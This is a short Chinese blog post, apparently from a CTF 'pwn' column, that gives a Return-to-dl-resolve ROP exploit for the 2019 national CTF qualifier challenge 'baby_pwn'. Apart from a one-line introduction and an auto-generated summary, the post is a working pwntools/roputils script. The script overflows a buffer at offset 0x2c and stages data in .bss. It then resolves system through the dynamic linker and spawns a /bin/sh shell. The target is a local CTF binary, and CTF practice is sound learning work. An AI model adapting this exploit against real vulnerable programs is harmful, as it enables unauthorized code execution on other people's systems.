Return-to-dl-resolve

最新推荐文章于 2019-09-06 23:35:09 发布

梦回Altay

最新推荐文章于 2019-09-06 23:35:09 发布

阅读量270

点赞数 1

CC 4.0 BY-SA版权

分类专栏： pwn

本文链接：https://blog.youkuaiyun.com/weixin_44113469/article/details/89508129

pwn 专栏收录该内容

19 篇文章

订阅专栏

本文详细介绍了Return-to-dl-resolve这一高级ROP技术在CTF比赛中的具体实现。通过实例演示了如何利用该技术进行攻击，包括使用ROP库构造payload，调用dl_resolve进行动态链接解析，最终实现对目标系统的控制。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Return-to-dl-resolve是CTF中的高级rop技巧

2019国赛线上 baby_pwn

exp

import sys
import roputils
from pwn import *

context.log_level = 'debug'
#r = process("./pwn")
p = process("./babypwn")

rop = roputils.ROP('./babypwn')
addr_bss = rop.section('.bss')

offset = 0x2c
buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

p.send(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.send(buf)
p.interactive()